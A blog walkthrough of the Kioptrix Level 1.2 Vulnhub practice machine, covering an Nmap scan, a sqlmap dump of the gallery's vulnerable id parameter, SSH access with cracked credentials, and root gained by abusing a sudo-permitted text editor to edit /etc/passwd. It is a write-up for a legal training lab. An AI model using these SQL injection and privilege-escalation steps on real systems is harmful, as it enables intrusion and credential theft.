September 27, 2020 by Nasef
KIOPTRIX: LEVEL 1.2 Vulnhub Walkthrough
KIOPTRIX: LEVEL 1.2 is a machine in which I used SQL Injection to get useres credintials to obtain shell access and then exploited the misconfigured sudo permissions to get root Access.
As always, I started scanning with Nmap
root@kali:/home/kali# nmap -sV -sC -p- 192.168.198.143 Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-27 21:03 EDT Nmap scan report for kioptrix3.com (192.168.198.143) Host is up (0.0030s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) | ssh-hostkey: | 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA) |_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch |_http-title: Ligoat Security - Got Goat? Security ... MAC Address: 00:0C:29:2C:61:46 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.90 seconds
A Normal HTTP and SSH Services
So First I tried to browse the website and found a suspicous URL. And Adding the single quotation giving me a MySQL error so it’s vulnerable to SQL Injection.
So Imeditatly I ran SQLMAP to exploit, dump database and evnatioly crack the hashes found in the database.
sqlmap -u 192.168.198.143/gallery/gallery.php?id=1 --dump
Then I ssh’d to user loneferret.
I ran diffreent Enumeration scripts and found an intersting sudo privileges.
loneferret@Kioptrix3:~$ sudo -l User loneferret may run the following commands on this host: (root) NOPASSWD: !/usr/bin/su (root) NOPASSWD: /usr/local/bin/ht
The su binary path is wrong and it has ! mark. The ht binary is a text and hex editor so I had many ideas in this case.
- Read /etc/shadow and get root hash then crack it with john (SUCCESS)
- Write in /etc/passwd a new user with root privliges (SUCCESS)
- Write in /etc/sudoers and change the su binary path (SUCCESS)
But first I had to fix some errors
loneferret@Kioptrix3:~$ sudo ht Error opening terminal: xterm-256color. loneferret@Kioptrix3:~$ export TERM=xterm
Then i opened /etc/passwd and added yoyo -root- user.
Then I logged in using ssh to the created user.
kali@kali:~$ ssh firstname.lastname@example.org email@example.com's password: Last login: Mon Apr 18 11:29:13 2011 Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ root@Kioptrix3:~# cat Congrats.txt Good for you for getting here. Regardless of the matter (staying within the spirit of the game of course) you got here, congratulations are in order. Wasn't that bad now was it. Went in a different direction with this VM. Exploit based challenges are nice. Helps workout that information gathering part, but sometimes we need to get our hands dirty in other things as well. Again, these VMs are beginner and not intended for everyone. Difficulty is relative, keep that in mind. The object is to learn, do some research and have a little (legal) fun in the process. I hope you enjoyed this third challenge. Steven McElrea aka loneferret http://www.kioptrix.com Credit needs to be given to the creators of the gallery webapp and CMS used for the building of the Kioptrix VM3 site. Main page CMS: http://www.lotuscms.org Gallery application: Gallarific 2.1 - Free Version released October 10, 2009 http://www.gallarific.com Vulnerable version of this application can be downloaded from the Exploit-DB website: http://www.exploit-db.com/exploits/15891/ The HT Editor can be found here: http://hte.sourceforge.net/downloads.html And the vulnerable version on Exploit-DB here: http://www.exploit-db.com/exploits/17083/ Also, all pictures were taken from Google Images, so being part of the public domain I used them.
and voila here is the root privilege!